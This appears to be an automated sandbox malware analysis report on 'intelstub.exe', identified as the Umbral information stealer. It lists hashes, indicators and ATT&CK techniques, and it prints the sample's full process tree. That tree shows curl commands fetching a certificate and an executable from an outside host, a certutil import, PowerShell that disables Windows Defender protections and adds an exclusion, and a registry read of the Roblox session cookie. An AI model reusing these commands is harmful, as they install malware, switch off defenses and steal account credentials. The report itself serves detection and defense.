umbral | 9bf776f889b56b90ef2cbe8cd971c68290f79374b7a7dcfa100e71a1cd45bd03

Resubmissions

08-12-2024 02:44

241208-c76qvsykax 10

08-12-2024 02:42

241208-c7bwgstldm 10

08-12-2024 02:40

241208-c6dcxstlal 10

08-12-2024 02:37

241208-c4lxaaxrcv 10

Analysis

max time kernel
99s
max time network
101s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20241023-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20241023-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
08-12-2024 02:37

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General

Target

intelstub.exe
Size

45KB
MD5

46dad3f34a1ff25b259446bac02cca4a
SHA1

08be9e8701d40bb0d968106793480eeb25adeb26
SHA256

9bf776f889b56b90ef2cbe8cd971c68290f79374b7a7dcfa100e71a1cd45bd03
SHA512

67338468551bc926a88b8e40f40177dea339debd701ad463f9e2cb763cf82f755743f3ee82c3626aa326c820afb93020d0d9526fc38affcb9b3af92725b393f6
SSDEEP

768:R4yvRGAc8gygFxLgkzLQgzcOybPofSzVxsBKfwJlVE3iPmbL52:9c8Oxz8YcO+A6zV4Kfd7

Score

10^/10

umbral defense_evasion execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 2 IoCs

resource	yara_rule
behavioral1/files/0x002b000000045033-13.dat	family_umbral
behavioral1/memory/4708-15-0x000002707C990000-0x000002707C9D0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5044	powershell.exe
1132	powershell.exe
4676	powershell.exe
3620	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
4708	IntelSoftwareAssetManagerService.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
20	ip-api.com
16	ipinfo.io
17	ipinfo.io

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\IME\zvcjd0.pfx	curl.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4552	wmic.exe

Suspicious behavior: EnumeratesProcesses 36 IoCs

pid	Process
4540	wmic.exe
4540	wmic.exe
4540	wmic.exe
4540	wmic.exe
4708	IntelSoftwareAssetManagerService.exe
872	wmic.exe
872	wmic.exe
872	wmic.exe
872	wmic.exe
4708	IntelSoftwareAssetManagerService.exe
5044	powershell.exe
5044	powershell.exe
1132	powershell.exe
1132	powershell.exe
4676	powershell.exe
4676	powershell.exe
4740	powershell.exe
4740	powershell.exe
3152	wmic.exe
3152	wmic.exe
3152	wmic.exe
3152	wmic.exe
5068	wmic.exe
5068	wmic.exe
5068	wmic.exe
5068	wmic.exe
5016	wmic.exe
5016	wmic.exe
5016	wmic.exe
5016	wmic.exe
3620	powershell.exe
3620	powershell.exe
4552	wmic.exe
4552	wmic.exe
4552	wmic.exe
4552	wmic.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4540	wmic.exe
Token: SeSecurityPrivilege	4540	wmic.exe
Token: SeTakeOwnershipPrivilege	4540	wmic.exe
Token: SeLoadDriverPrivilege	4540	wmic.exe
Token: SeSystemProfilePrivilege	4540	wmic.exe
Token: SeSystemtimePrivilege	4540	wmic.exe
Token: SeProfSingleProcessPrivilege	4540	wmic.exe
Token: SeIncBasePriorityPrivilege	4540	wmic.exe
Token: SeCreatePagefilePrivilege	4540	wmic.exe
Token: SeBackupPrivilege	4540	wmic.exe
Token: SeRestorePrivilege	4540	wmic.exe
Token: SeShutdownPrivilege	4540	wmic.exe
Token: SeDebugPrivilege	4540	wmic.exe
Token: SeSystemEnvironmentPrivilege	4540	wmic.exe
Token: SeRemoteShutdownPrivilege	4540	wmic.exe
Token: SeUndockPrivilege	4540	wmic.exe
Token: SeManageVolumePrivilege	4540	wmic.exe
Token: 33	4540	wmic.exe
Token: 34	4540	wmic.exe
Token: 35	4540	wmic.exe
Token: 36	4540	wmic.exe
Token: SeIncreaseQuotaPrivilege	4540	wmic.exe
Token: SeSecurityPrivilege	4540	wmic.exe
Token: SeTakeOwnershipPrivilege	4540	wmic.exe
Token: SeLoadDriverPrivilege	4540	wmic.exe
Token: SeSystemProfilePrivilege	4540	wmic.exe
Token: SeSystemtimePrivilege	4540	wmic.exe
Token: SeProfSingleProcessPrivilege	4540	wmic.exe
Token: SeIncBasePriorityPrivilege	4540	wmic.exe
Token: SeCreatePagefilePrivilege	4540	wmic.exe
Token: SeBackupPrivilege	4540	wmic.exe
Token: SeRestorePrivilege	4540	wmic.exe
Token: SeShutdownPrivilege	4540	wmic.exe
Token: SeDebugPrivilege	4540	wmic.exe
Token: SeSystemEnvironmentPrivilege	4540	wmic.exe
Token: SeRemoteShutdownPrivilege	4540	wmic.exe
Token: SeUndockPrivilege	4540	wmic.exe
Token: SeManageVolumePrivilege	4540	wmic.exe
Token: 33	4540	wmic.exe
Token: 34	4540	wmic.exe
Token: 35	4540	wmic.exe
Token: 36	4540	wmic.exe
Token: SeDebugPrivilege	4708	IntelSoftwareAssetManagerService.exe
Token: SeIncreaseQuotaPrivilege	872	wmic.exe
Token: SeSecurityPrivilege	872	wmic.exe
Token: SeTakeOwnershipPrivilege	872	wmic.exe
Token: SeLoadDriverPrivilege	872	wmic.exe
Token: SeSystemProfilePrivilege	872	wmic.exe
Token: SeSystemtimePrivilege	872	wmic.exe
Token: SeProfSingleProcessPrivilege	872	wmic.exe
Token: SeIncBasePriorityPrivilege	872	wmic.exe
Token: SeCreatePagefilePrivilege	872	wmic.exe
Token: SeBackupPrivilege	872	wmic.exe
Token: SeRestorePrivilege	872	wmic.exe
Token: SeShutdownPrivilege	872	wmic.exe
Token: SeDebugPrivilege	872	wmic.exe
Token: SeSystemEnvironmentPrivilege	872	wmic.exe
Token: SeRemoteShutdownPrivilege	872	wmic.exe
Token: SeUndockPrivilege	872	wmic.exe
Token: SeManageVolumePrivilege	872	wmic.exe
Token: 33	872	wmic.exe
Token: 34	872	wmic.exe
Token: 35	872	wmic.exe
Token: 36	872	wmic.exe

Suspicious use of WriteProcessMemory 40 IoCs

description	pid	Process	procid_target
PID 4244 wrote to memory of 3044	4244	intelstub.exe	82
PID 4244 wrote to memory of 3044	4244	intelstub.exe	82
PID 3044 wrote to memory of 4884	3044	cmd.exe	83
PID 3044 wrote to memory of 4884	3044	cmd.exe	83
PID 4244 wrote to memory of 4456	4244	intelstub.exe	84
PID 4244 wrote to memory of 4456	4244	intelstub.exe	84
PID 4456 wrote to memory of 2344	4456	cmd.exe	85
PID 4456 wrote to memory of 2344	4456	cmd.exe	85
PID 4244 wrote to memory of 3864	4244	intelstub.exe	86
PID 4244 wrote to memory of 3864	4244	intelstub.exe	86
PID 4244 wrote to memory of 5088	4244	intelstub.exe	87
PID 4244 wrote to memory of 5088	4244	intelstub.exe	87
PID 5088 wrote to memory of 5012	5088	cmd.exe	88
PID 5088 wrote to memory of 5012	5088	cmd.exe	88
PID 4244 wrote to memory of 1608	4244	intelstub.exe	89
PID 4244 wrote to memory of 1608	4244	intelstub.exe	89
PID 1608 wrote to memory of 4708	1608	cmd.exe	90
PID 1608 wrote to memory of 4708	1608	cmd.exe	90
PID 4708 wrote to memory of 4540	4708	IntelSoftwareAssetManagerService.exe	91
PID 4708 wrote to memory of 4540	4708	IntelSoftwareAssetManagerService.exe	91
PID 4708 wrote to memory of 872	4708	IntelSoftwareAssetManagerService.exe	94
PID 4708 wrote to memory of 872	4708	IntelSoftwareAssetManagerService.exe	94
PID 4708 wrote to memory of 5044	4708	IntelSoftwareAssetManagerService.exe	96
PID 4708 wrote to memory of 5044	4708	IntelSoftwareAssetManagerService.exe	96
PID 4708 wrote to memory of 1132	4708	IntelSoftwareAssetManagerService.exe	99
PID 4708 wrote to memory of 1132	4708	IntelSoftwareAssetManagerService.exe	99
PID 4708 wrote to memory of 4676	4708	IntelSoftwareAssetManagerService.exe	101
PID 4708 wrote to memory of 4676	4708	IntelSoftwareAssetManagerService.exe	101
PID 4708 wrote to memory of 4740	4708	IntelSoftwareAssetManagerService.exe	103
PID 4708 wrote to memory of 4740	4708	IntelSoftwareAssetManagerService.exe	103
PID 4708 wrote to memory of 3152	4708	IntelSoftwareAssetManagerService.exe	107
PID 4708 wrote to memory of 3152	4708	IntelSoftwareAssetManagerService.exe	107
PID 4708 wrote to memory of 5068	4708	IntelSoftwareAssetManagerService.exe	109
PID 4708 wrote to memory of 5068	4708	IntelSoftwareAssetManagerService.exe	109
PID 4708 wrote to memory of 5016	4708	IntelSoftwareAssetManagerService.exe	111
PID 4708 wrote to memory of 5016	4708	IntelSoftwareAssetManagerService.exe	111
PID 4708 wrote to memory of 3620	4708	IntelSoftwareAssetManagerService.exe	114
PID 4708 wrote to memory of 3620	4708	IntelSoftwareAssetManagerService.exe	114
PID 4708 wrote to memory of 4552	4708	IntelSoftwareAssetManagerService.exe	116
PID 4708 wrote to memory of 4552	4708	IntelSoftwareAssetManagerService.exe	116

cURL User-Agent 2 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	3	curl/8.7.1
HTTP User-Agent header	13	curl/8.7.1

C:\Users\Admin\AppData\Local\Temp\intelstub.exe
"C:\Users\Admin\AppData\Local\Temp\intelstub.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4244
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl https://cdn.z60ic9762h.click/zvcjd0.pfx -o C:\Windows\IME\zvcjd0.pfx --silent
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3044
- - C:\Windows\system32\curl.exe
    curl https://cdn.z60ic9762h.click/zvcjd0.pfx -o C:\Windows\IME\zvcjd0.pfx --silent
    3⤵
    - Drops file in Windows directory
    PID:4884
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c certutil -importpfx -p your_password C:\Windows\IME\zvcjd0.pfx NoExport
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4456
- - C:\Windows\system32\certutil.exe
    certutil -importpfx -p your_password C:\Windows\IME\zvcjd0.pfx NoExport
    3⤵
    PID:2344
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /F /Q C:\Windows\IME\zvcjd0.pfx
  2⤵
  PID:3864
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl https://cdn.z60ic9762h.click/abc.bin -o C:\Users\Public\Documents\IntelSoftwareAssetManagerService.exe --silent
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5088
- - C:\Windows\system32\curl.exe
    curl https://cdn.z60ic9762h.click/abc.bin -o C:\Users\Public\Documents\IntelSoftwareAssetManagerService.exe --silent
    3⤵
    PID:5012
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start C:\Users\Public\Documents\IntelSoftwareAssetManagerService.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1608
- - C:\Users\Public\Documents\IntelSoftwareAssetManagerService.exe
    C:\Users\Public\Documents\IntelSoftwareAssetManagerService.exe
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4708
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4540
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:872
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Public\Documents\IntelSoftwareAssetManagerService.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:5044
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1132
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4676
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4740
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" os get Caption
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3152
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5068
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5016
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3620
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic" path win32_VideoController get name
      4⤵
      Detects videocard installed
      Suspicious behavior: EnumeratesProcesses
      PID:4552

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
3eb3833f769dd890afc295b977eab4b4

SHA1
e857649b037939602c72ad003e5d3698695f436f

SHA256
c485a6e2fd17c342fca60060f47d6a5655a65a412e35e001bb5bf88d96e6e485

SHA512
c24bbc8f278478d43756807b8c584d4e3fb2289db468bc92986a489f74a8da386a667a758360a397e77e018e363be8912ac260072fa3e31117ad0599ac749e72

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
84063c0d1d9aae057e1c424279a859b9

SHA1
267a2c5851b5da21dea746f0417dd4b33f051a31

SHA256
8efb3b1ffff11a06d7fc95530ea8eb260de51e72cfb457cf10a6fd34c8d20ed8

SHA512
ed878d9e9632e0f9ca2a644a86dd142eb91ea74403e5829dd159f225b7230b48314d52f783aff3e80180815f95cb7daebfdc0a89e4d93eb233aebb53ebc7f111

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
e84201584e77775809062c523b612091

SHA1
32944b89ab29734ab688a0996b301255c71bce8c

SHA256
3178c801eb8d2e9e616f177ab5d4baa653bbb6b44f2725f9dbc3370c674be489

SHA512
b071a268d058f3e0956515c08ddc212a0c9469f02f54698b0bf44c654c75b1778d5f47c6ffcd855f8e74b7553070aba3778580d1f12fbe8d706b9ecdf3c02132

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
8e1fdd1b66d2fee9f6a052524d4ddca5

SHA1
0a9d0994559d1be2eecd8b0d6960540ca627bdb6

SHA256
4cc7c1b79d1b48582d4dc27ca8c31457b9bf2441deb7914399bb9e6863f18b13

SHA512
5a5494b878b08e8515811ab7a3d68780dac7423f5562477d98249a8bedf7ec98567b7cd5d4c6967d6bc63f2d6d9b7da9a65e0eb29d4b955026b469b5b598d1f3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
71d946f8535e63213c5b7c5a0f41feeb

SHA1
54938522f157d789d4f1344656bd943e68ea03f7

SHA256
3eef0c05ebd9655d885f994c20cd17b8dd7064118fc8273be1d7085dc4a9aaa6

SHA512
48869f761ad6ea639df76c65ea5efa8c16b6f3e6045471f6cfd91791a756c998e73811dd84dc80f9da7ba302b349915b8604bf99ceee20c67d32900f7a07bad1

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5igdbjoc.k10.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Public\Documents\IntelSoftwareAssetManagerService.exe

Filesize
238KB

MD5
66574582c2e810055676407bdd671636

SHA1
71a07c0906e65524d6844aa0a65e90ee682eb6c5

SHA256
5a05e0c1a7b22baaaa9268ef6f0d9a5524826fdc3871a59c5134f7354baa9346

SHA512
04c5dc624009d1127319f0f32c137a4bab6b1aec10e3fd5fdad4372c8a09b8f894980834d6d0d5ee3920ccb3aa3d3e84fe6e1010b6b6dabdb6c20e2f047b5341

Download Submit
C:\Windows\IME\zvcjd0.pfx

Filesize
2KB

MD5
044c6ed5926cda780ca3506829585245

SHA1
b958068c7f440fffd712e9a0704f5234537b22d4

SHA256
21115f915d5e38fb38be88a627010d39cb7e4b0008854530e3a8fa117f45cfea

SHA512
4d00d57e4f0e12c01d5455cf81f685b04b9446aa026b8579009a271dab5eacc298530625e995ff910a9cc6442392fd2098d517b86b7ad0f713f689324e5f0601

Download Submit
memory/4708-42-0x000002707E560000-0x000002707E57E000-memory.dmp

Filesize
120KB

Download
memory/4708-41-0x000002707E700000-0x000002707E750000-memory.dmp

Filesize
320KB

Download
memory/4708-40-0x000002707F0A0000-0x000002707F116000-memory.dmp

Filesize
472KB

Download
memory/4708-67-0x000002707E550000-0x000002707E55A000-memory.dmp

Filesize
40KB

Download
memory/4708-68-0x000002707E5B0000-0x000002707E5C2000-memory.dmp

Filesize
72KB

Download
memory/4708-15-0x000002707C990000-0x000002707C9D0000-memory.dmp

Filesize
256KB

Download
memory/5044-16-0x000001B26E720000-0x000001B26E742000-memory.dmp

Filesize
136KB

Download